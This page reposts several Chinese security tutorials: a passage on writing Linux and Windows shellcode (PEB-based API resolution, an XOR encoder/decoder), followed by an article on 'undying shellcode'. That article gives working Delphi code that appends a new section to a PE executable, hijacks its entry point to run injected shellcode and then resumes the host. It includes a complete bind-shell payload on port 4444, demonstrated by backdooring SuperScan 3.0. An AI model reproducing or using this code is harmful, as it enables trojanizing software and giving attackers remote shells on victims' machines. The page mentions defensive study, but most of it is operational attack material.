80480af:    89 e3          mov  %esp,%ebx
80480b1:    52           push  %edx
80480b2:    53           push  %ebx
80480b3:    89 e1          mov  %esp,%ecx
80480b5:    b0 0b          mov  $0xb,%al
80480b7:    cd 80          int  $0x80
pr0cess@pr0cess:~$
检查了一下,机器码中没有出现00,可以放心的提取作为shellcode使用。具体的提取过程之前已经介绍过,也给出了相应的C程序模板,这里就不再重复工作了。

五:总结
  本文没有什么高深的技术,没有华丽的技巧,浅入浅出的介绍了基本的linuxshellcode的编写过程,顺利完成了科普的目的。
 
 

shellcode

百科名片

Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。

编辑本段
Shellcode编写考虑因素   Shellcode一般作为数据发送给服务端造成溢出,不同数据对数据要求不同,因此,Shellcode也不一定相同。但Shellcode在编写过程中,有些问题是一致的:
  ⒈Shellcode的编写语言。
  用什么语言编写最适合Shellcode呢?这个问题没有定论。一般采用的是C语言,速度较快,但是ASM更便于控制Shellcode的生成。到底是快速编写还是完全控制呢?很难回答呢。
  ⒉Shellcode本身代码的重定位。Shellcode的流程控制,即如何通过溢出使控制权落在Shellcode手中
  ⒊Shellcode中使用的API地址定位。
  ⒋Shellcode编码问题。
  ⒌多态技术躲避IDS检测。

编辑本段
常见问题处理方法   Shellcode编写技术
  ⒈Shellcode编写语言
  Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。Shellcode使用汇编语言编写是最具可控性的,因为我们完全可以通过指令控制代码生成,缺点就是需要大量的时间,而且还要你深入了解汇编。如果你想追求速度,C是不错的选择。C语言编写起来较为省力,但Shellcode提取较为复杂,不过,一旦写好模板,就省事许多。例如,这里有一个写好的模板:
  
void Shellcode()
  {
  __asm
  {
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  }
  }
 然后在main()中用函数指针操作和memcmp定位shellcode,用pintf之类函数将shellcode打出来或保存即可。示例代码略。纵观当前shellcode,大部分是由C完成的,因此,想来大家已经取舍完了吧?
  ⒉Shellcode代码地址定位,获取程序EIP。
  为什么要获取EIP呢?原因是,我们需要我们的Shellcode能够执行,对病毒技术有了解的话,应该知道他们是怎么定位的:利用CALL/POP来实现。
  这里就不得不提到两种方法:JMP ESP和CALL/POP EBX。这是人们在对windows系统熟悉之后的方法,成功率非常高。相信看过王炜兄的教程的朋友应该有印象吧。这里我就简单说一下。
  我们的方法时通过Shellcode地址覆盖返回地址,在溢出后即可跳转到我们的代码中,以获取权限。而Shellcode在内存中的地址并不固定,因此我们利用系统的DLL文件中的JMP ESP或CALL ESP、CALL EBP来实现对Shellcode地址的间接跳转。这样有两个好处,一是不必准确定位Shellcode地址;二是可以防止strcpy对00字节的截断,因为DLL文件中,地址一般为7FXXXXXX。具体细节,网上已有相关的东东,大家自己找来看看吧。
  ⒊Shellcode中的API地址定位。
  Shellcode代码的运行环境和病毒在某些方面是类似的,由于系统不同,Api的地址也不尽相同。因此,要想让Shellcode在不同Windows下运行就必须解决Api的定位问题。API定位的关键是了解Windows DLL映像文件格式,即PE文件格式,然后通过搜索函数的Export表获取API地址。定位方法有暴力搜索法、从进程PEB中获取和遍历SEH链法。我们这里使用从进程PEB中获取,示例代码如下:
  
__asm
  {
  push ebp;
  sub esp, 0x40;
  mov ebp,esp;
  push ebp;
  mov eax, fs:0x30 ;PEB
  mov eax, [eax + 0x0c] ;Ldr
  mov esi, [eax + 0x1c] ;Flink
  lodsd
  mov edi, [eax + 0x08] ;edi就是kernel32.dll的地址
  mov eax, [edi+3Ch] ;eax = PE首部
  mov edx,[edi+eax+78h]
  add edx,edi ;edx = 输出表地址
  mov ecx,[edx+18h] ;ecx = 输出函数的个数
  mov ebx,[edx+20h]
  add ebx,edi ;ebx =函数名地址,AddressOfName
  search:
  dec ecx
  mov esi,[ebx+ecx*4]
  add esi,edi ;依次找每个函数名称
  ;GetProcAddress
  mov eax,0x50746547
  cmp [esi], eax; 'PteG'
  jne search
  mov eax,0x41636f72
  cmp [esi+4],eax; 'Acor'
  jne search
  ;如果是GetProcA,表示找到了
  mov ebx,[edx+24h]
  add ebx,edi ;ebx = 索引号地址,AddressOf
  mov cx,[ebx+ecx*2] ;ecx = 计算出的索引号值
  mov ebx,[edx+1Ch]
  add ebx,edi ;ebx = 函数地址的起始位置,AddressOfFunction
  mov eax,[ebx+ecx*4]
  add eax,edi ;利用索引值,计算出GetProcAddress的地址
  mov [ebp+40h], eax ;把GetProcAddress的地址存在 ebp+40中
 接下来是使用GetProcAddress()和LoadLibraryA()获取其他需要函数了,和C没什么两样,略过了吧,很累呢。
  ⒋Shellcode的编码问题。
  写过Shellcode的兄弟对这个应该恨熟吧?例如:strcpy函数中不能有0x00,RPC DOCM溢出时不能用0x5c等等。
  因为假如有这些字符,会导致服务中断Shellcode,溢出失败。不同溢出对shellcode要求不同,当然需要精选字符来达到目的,这样太累了些,简单点就是写一段代码,示例如下:
  
for(i=0;i ch=sc_buff^Enc_key;
  //对可能字符进行替换
  if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
  {
  buff='0';
  ++k;
  ch+=0x31;
  }
  //将编码Code放在DecryptSc后
  buff[k]=ch;
  ++k;
  }
  解码时代码 解码时代码,示例如下:
  jmp next
  getEncodeAddr:
  pop edi
  push edi
  pop esi
  xor ecx,ecx
  Decrypt_lop:
  loasb
  cmp al,cl
  jz shell
  cmp al,0x30 //判断是否为特殊字符
  jz specal_char_clean
  store:
  xor al,Enc_key
  stosb
  jmp Decrypt_lop
  special_char_clean:
  lodsb
  sub al,0x31
  jmp store
  next:
  call getEncodeAddr

编辑本段
编程感想   编写调试Shellcode很是辛苦,但完成之后却有巨大的成就感。这里不是教你做EXP去害人,只是从研究角度出发,让大家了解这种技术,从而加以防范,为网络和平安宁奉献自己的力量。
 
 
 
 
 
 
 
 
 
 

[原创]不死的shellcode

文章作者:DarkBoxer暗夜拳师
信息来源:邪恶八进制信息安全团队( www.eviloctal.com)

嘻嘻,今天把电脑的一些东西转移到移动硬盘的时候,发现自己以前投过的几篇稿件,粗看了一篇觉得有几篇还是有点余热,索性提交到邪八,希望可以对有需要的朋友一些帮助...菜鸟写的菜文,高手就不要笑话了
本文曾发表于黑防06年第8期

我想大家都知道 shellcode是什么吧,说透了,就是能够实现攻击者目的的一段机器码.
在溢出攻击中,就是让有漏洞的机器执行这段机器码,达到攻击的目的,漏洞利用完了, shellcode就等于死了,不存在了,如果目标机器把漏洞补好了,那溢出攻击就会失效了,有没有办法在一次溢出成功后, shellcode仍然存在呢?
N久以前,看过一篇文章<也谈把QQ2005做成后门之编程实现>,哇,受益菲浅哦.作者的思路是,通过搜索查找exe文件的最后一个区块,在这个区块后面搜索足够大小空间的00块,在他们后面存放后门代码,通过更改程序入口点,执行后门代码,最后跳回程序原来的入口点.继续执行.
不过,正如元哥所说,对VC++等编译的可执行文件的代码块是.text,而,Delphi编译的,会是.code,这样在查找区块的时候,还是有一点缺乏通用性.
呵呵,其实除了搜索空白区域,还有一种办法可以达到同样的效果,那就是给可执行文件增加区块,感觉似乎通用性要强那么一点点^_^
那,我开始讲解我的思路吧:
1.  为可执行文件增加一个”exploit”区块
2.  在”exploit”区块中加载我们所希望的 shellcode
3.  更改可执行文件的入口点,使其先执行我们的 shellcode
4.  恢复程序真正入口点,使其得以继续执行
5.  over!
好,我们开始打造吧,本程序这是用delphi编译的,来看看代码,测试的时候先用开DOS窗口的 shellcode吧(这里开DOS窗口的WinExec函数的地址,我用的本机上的,大家可以用GetWinEexecAddr.cpp获得,光盘有收录,不过要记住顺序是反过来的哦):
JMPOFF = 25; //偏移25个字节
SHELLCODE: THEAD = ($55,$8B,$EC, $51,$C7,$45,$FC,$63,$6D,$64,
$00,$6A,$05,$8D,$45,$FC,$50,$B8,
$4D,$11,$86,$7C,  //我机器上WinExec函数地址
$FF,$D0, $B8,    //到这里正好25个字节
$00,$10,$40,$00,$FF,$E0);

为什么要25个字节呢?看到最后一行没有,其实这是我从VC花指令改造过来的,最后一行是不是VC程序通常的入口点0x401000呢.这样配合下面的汇编代码,我们将很容易的恢复程序原本的入口点.在本文后面我们将看见绑定4444端口的 shellcode的时候, JMPOFF赋值为317,所以,你选择的shellocde的长度是多少,JMPOFF就赋予多少.
PUSHAD       //寄存器入栈
LEA eax, SHELLCODE //将SHELLCODE的地址交给寄存器eax
ADD eax, JMPOFF    //eax=eax+JMPOFF
MOV edx, AddressOfEntryPoint  //将入口点赋值给edx
MOV DWORD ptr [eax], edx  //同上
POPAD       //所有寄存器出栈

我这里测试的目标是superscan3.0,大家可以自己选择,我们用OD加载被增加区块的superscan3.0,如图
1.jpg (20 KB)
2007-7-6 17:48

图一
好了,下面是在增加区块的代码了,不明白下面这些东东的朋友需要温习一下PE文件格式哦
fs.Seek(0, soFromBeginning); //指向文件头
fs.Read(DOSHEADER, sizeof(DOSHEADER)); //DOS下可行执行文件头,大家应该知道“MZ”//标志吧
  fs.Seek(DOSHEADER._lfanew, soFromBeginning);//指向PE头部
  fs.Read(PEHEADER, sizeOf(PEHEADER)); //PE文件头信息
  fs.Seek(sizeOf(SectionHeader) *
   (PEHEADER.FileHeader.NumberOfSections - 1), soFromCurrent);//定位到最后一个区块位置
  fs.Read(SectionHeader, sizeof(IMAGE_SECTION_HEADER));
  MySectionHeader.Name[0] := ord('e');  //给增加的区块命名”exploit”
  MySectionHeader.Name[1] := ord('x');
  MySectionHeader.Name[2] := ord('p');
  MySectionHeader.Name[3] := ord('l');
  MySectionHeader.Name[4] := ord('o');
  MySectionHeader.Name[5] := ord('i');
  MySectionHeader.Name[6] := ord('t');
  MySectionHeader.Name[7] := 0;
  MySectionHeader.VirtualAddress := PEHEADER.OptionalHeader.SizeOfImage;//整个文件的映像尺寸
  MySectionHeader.Misc.VirtualSize := $500; //虚拟地址大小
  MySectionHeader.SizeOfRawData := (MySectionHeader.VirtualAddress div
   PEHEADER.OptionalHeader.FileAlignment + 1) * PEHEADER.OptionalHeader.FileAlignment -
   PEHEADER.OptionalHeader.SizeOfImage; //SizeOfRawData在EXE文件中是对齐到//FileAlignMent的整数倍的
  MySectionHeader.PointerToRawData :=
   SectionHeader.SizeOfRawData + SectionHeader.PointerToRawData; //改变在文件中的偏移
MySectionHeader.Characteristics:=$E000002  //E000002表示可读可执行
  Inc(PEHEADER.FileHeader.NumberOfSections);//区块增加一个
  fs.Write(MySectionHeader, sizeOf(MySectionHeader)); //把信息写入新增加的区块
  fs.Seek(DOSHEADER._lfanew, soFromBeginning);//定位到PE文件头
  AddressOfEntryPoint := PEHEADER.OptionalHeader.AddressOfEntryPoint; //保存原来的程序的入
//口点
  PEHEADER.OptionalHeader.AddressOfEntryPoint :=
   MySectionHeader.VirtualAddress;  //更改文件的入口点为增加的区块的入口点
  PEHEADER.OptionalHeader.MajorLinkerVersion := 7; //版本信息
  PEHEADER.OptionalHeader.MinorLinkerVersion := 0;
  AddressOfEntryPoint := AddressOfEntryPoint +
PEHEADER.OptionalHeader.ImageBase; //程序入口点是一个RVA值,加上基地址就是程序运行//时候的入口函数的起始虚地址
//
//。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
//
  PEHEADER.OptionalHeader.SizeOfImage :=
   PEHEADER.OptionalHeader.SizeOfImage + MySectionHeader.Misc.VirtualSize;//改变整个文件的
//映像尺寸
  fs.Write(PEHEADER, sizeof(PEHEADER)); //重写PE文件
  fs.Seek(fs.Size, soFromBeginning); //定位文件大小,区块位置
  fs.Write(SHELLCODE, MySectionHeader.Misc.VirtualSize)//写入SHELLCODE

  看一下增加的区块,如图2

2.jpg (23 KB)
2007-7-6 17:48


好了,打造完毕,测试一下功能,成功,启动superscan3.0的时候,DOS窗口也打开了,如图3

3.jpg (39 KB)
2007-7-6 17:48


图3
但是,似乎只开了DOS,感觉不是太完美,那测试一个绑定4444端口的吧。
JMPOFF = 317; //前面已经说了为什么会是317了
SHELLCODE: THEAD = (
$eb,$10,$5b,$4b,$33,$c9,$66,$b9,$23,$01,$80,$34,$0b,$f8,$e2,$fa,
$eb,$05,$e8,$eb,$ff,$ff,$ff,$11,$01,$f8,$f8,$f8,$a7,$9c,$59,$c8,
$f8,$f8,$f8,$73,$b8,$f4,$73,$88,$e4,$55,$73,$90,$f0,$73,$0f,$92,
$fb,$a1,$10,$61,$f8,$f8,$f8,$1a,$01,$90,$cb,$ca,$f8,$f8,$90,$8f,
$8b,$ca,$a7,$ac,$07,$ee,$73,$10,$92,$fd,$a1,$10,$78,$f8,$f8,$f8,
$1a,$01,$79,$14,$68,$f9,$f8,$f8,$ac,$90,$f9,$f9,$f8,$f8,$07,$ae,
$f4,$a8,$a8,$a8,$a8,$92,$f9,$92,$fa,$07,$ae,$e8,$73,$20,$cb,$38,
$a8,$a8,$90,$fa,$f8,$e9,$a4,$73,$34,$92,$e8,$a9,$ab,$07,$ae,$ec,
$92,$f9,$ab,$07,$ae,$e0,$a8,$a8,$ab,$07,$ae,$e4,$73,$20,$90,$9b,
$95,$9c,$f8,$75,$ec,$dc,$7b,$14,$ac,$73,$04,$92,$ec,$a1,$cb,$38,
$71,$fc,$77,$1a,$03,$3e,$bf,$e8,$bc,$06,$bf,$c4,$06,$bf,$c5,$71,
$a7,$b0,$71,$a7,$b4,$71,$a7,$a8,$75,$bf,$e8,$af,$a8,$a9,$a9,$a9,
$92,$f9,$a9,$a9,$aa,$a9,$07,$ae,$fc,$cb,$38,$b0,$a8,$07,$ae,$f0,
$a9,$ae,$73,$8d,$c4,$73,$8c,$d6,$80,$fb,$0d,$ae,$73,$8e,$d8,$fb,
$0d,$cb,$31,$b1,$b9,$55,$fb,$3d,$cb,$23,$f7,$46,$e8,$c2,$2e,$8c,
$f0,$39,$33,$ff,$fb,$22,$b8,$13,$09,$c3,$e7,$8d,$1f,$a6,$73,$a6,
$dc,$fb,$25,$9e,$73,$f4,$b3,$73,$a6,$e4,$fb,$25,$73,$fc,$73,$fb,
$3d,$53,$a6,$a1,$3b,$10,$fa,$07,$07,$07,$ca,$8c,$69,$f4,$31,$44,
$5e,$93,$77,$0a,$e0,$99,$c5,$92,$4c,$78,$d5,$ca,$80,$26,$9c,$e8,
$5f,$25,$f4,$67,$2b,$b3,$49,$e6,$6f,$f9,
$8B, $E8, $B8,    //到这里正好317个字节
$00, $10, $40, $00, $FF,
$E0);

如图4

4.jpg (66 KB)
2007-7-6 17:48


这时候telnet 4444端口就如图5了^_^

5.jpg (11 KB)
2007-7-6 17:48


图5
OK,收工了!!!!至于反向连接,下载执行的 shellcode,读者朋友可以自己测试,记住JMPOFF为 shellcode 的长度哦。
回顾一下,把 shellcode保存在新增的区块中,是不是就可以达到 shellcode不死的目的呢.如果把这段代码也提取为 shellcode,嘿嘿,那是不是跟好一点呢,这些就靠朋友们去拓展吧,嘻嘻~~~~,另外,我要说明一下,有些可执行文件会限制区块的大小,这样会限制我们加载理想的 shellcode,如果超出大小,有的可能会执行我们的功能,但程序本身的功能失去,有的甚至会出错,唉,这个世界真是缺乏完美^_^
最后,在说几句废话,这本来是破解里的文件补丁技术,或者是通过花指令防破解的技术,或者是防杀毒软件的免杀技术,再或者是病毒加载宿主程序的技术,现在被我们用在缓冲区溢出攻击里,看来, 黑客技术在各个领域都是相通的哦…

你可能感兴趣的:(linux开发/应用)